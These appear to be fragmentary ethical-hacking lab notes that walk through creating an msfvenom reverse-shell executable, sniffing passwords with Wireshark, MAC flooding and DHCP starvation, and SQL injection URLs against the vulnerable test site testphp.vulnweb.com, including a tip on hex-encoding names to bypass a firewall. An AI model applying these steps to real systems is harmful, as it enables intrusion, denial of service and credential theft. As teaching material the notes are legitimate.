Sniffing and SQL Injection
Sniffing and SQL Injection
In Kali, execute the following command to learn about msfvenom, which is part of Metasploit.
Determine which payload you want to use. To list the available payload options, type:
A malicious file, Rahul.exe is created which upon execution on victims’ machine will give a reverse
shell to an attacker.
Before downloading the file, turn of the Windows Defender settings as shown below
And press OK
Open internet explorer. Enter Kali’s IP in the URL bar along with the name of the file to download
(In an ideal scenario, these malicious files are sent via email or any other malware propagation ways)
Sniffing Network Packets Using Wireshark
Filter the protocol with HTTP in the Wireshark tool to view and use the POST method to see the
username and password entered by the victim on a website.
1-Login to Kali Linux machine, open the terminal. Login as root user ( sudo -I )
2-Install macof tool if it has not already been set. Type ‘apt-get install dsniff’
3-Type man macof on the terminal to look at the manual. Press q to quit the page
Start the mac flooding attack using the following command:
You can also specify the number of packets to send by using the following command macof -i eth0 -n
10 -d 10.11.6.1
On the menu bar, click Launch attack. A window pops-up to choose the protocol for attack
Select DHCP and enable the option for sending DISCOVER packet (DHCP DDoS)
The router is flooded with DHCPDISCOVER packets. Observe the number of packets that are sent to
starve the server
SQL Injection
Determine how the hackers may get the database of a website and steal the credentials of users
from website vulnerability.
Select artists→r4w8173
Add a special character after the URL ( ‘ ). If it shows an error, then the website is vulnerable to SQL
Injection.
http://testphp.vulnweb.com/artists.php?artist=1’
Find how many columns are in public by entering the below commands.
Find the vulnerable columns of the website using the below commands
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1,2,3 2 and 3 are vulnerable columns.
Let us select column 2
Find the database name of the website using the below command:
http://testphp.vulnweb.com/artists.php?artist=-1 union select 1, database(), 3
Find the columns in a table using the below command. Change the user's table name to encoding
characters to bypass the firewall by (https://codebeautify.org/string-hex-converter)